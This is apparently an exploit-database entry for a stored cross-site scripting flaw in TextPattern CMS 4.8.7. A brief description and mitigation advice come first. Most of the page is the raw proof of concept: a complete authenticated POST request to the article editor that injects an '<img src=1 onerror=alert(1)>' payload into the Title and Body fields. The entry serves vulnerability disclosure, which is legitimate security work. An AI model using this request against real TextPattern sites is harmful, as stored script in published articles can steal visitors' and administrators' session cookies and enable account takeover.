header-logo
Suggest Exploit
vendor:
TextPattern CMS
by:
Mert Daş
7.5
CVSS
HIGH
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: TextPattern CMS
Affected Version From: 4.8.7
Affected Version To: 4.8.7
Patch Exists: NO
Related CWE: N/A
CPE: a:textpattern:textpattern:4.8.7
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Server: Xampp
2021

TextPattern CMS 4.8.7 – Stored Cross-Site Scripting (XSS)

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate unexpected results. Sanitize user input to prevent malicious code from being executed.
Source

Exploit-DB raw data:

# Exploit Title: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.8.7 is vulnerable; other versions may also be affected. 

Header

-POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1356274838636633083297009973
Content-Length: 4574
Origin: http://localhost
Connection: close
Referer: http://localhost/textpattern/textpattern/index.php?event=article&ID=2%27
Cookie: txp_login=admin%2C4c96cd31447df40aa2ceea6e052132b6; txp_login_public=895102db7badmin; language=en-gb; currency=USD; PHPSESSID=280d77vpc9brntkqclej5her85

-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="ID"

2
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="event"

article
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="step"

edit
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sPosted"

1623260284
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sLastMod"

1623260295
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="AuthorID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="LastModID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Title"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_body"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Body"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_excerpt"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Excerpt"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Status"

4
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Section"

articles
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="override_form"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="year"

2021
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="month"

06
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="day"

09
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="hour"

19
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="minute"

38
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="second"

04
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_year"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_month"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_day"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_hour"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_minute"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_second"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sExpires"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="url_title"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="description"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Keywords"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Image"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="save"

Save
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="app_mode"

async
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="_txp_token"

346eeab2db04acf953d13529f6be3a74
-----------------------------1356274838636633083297009973--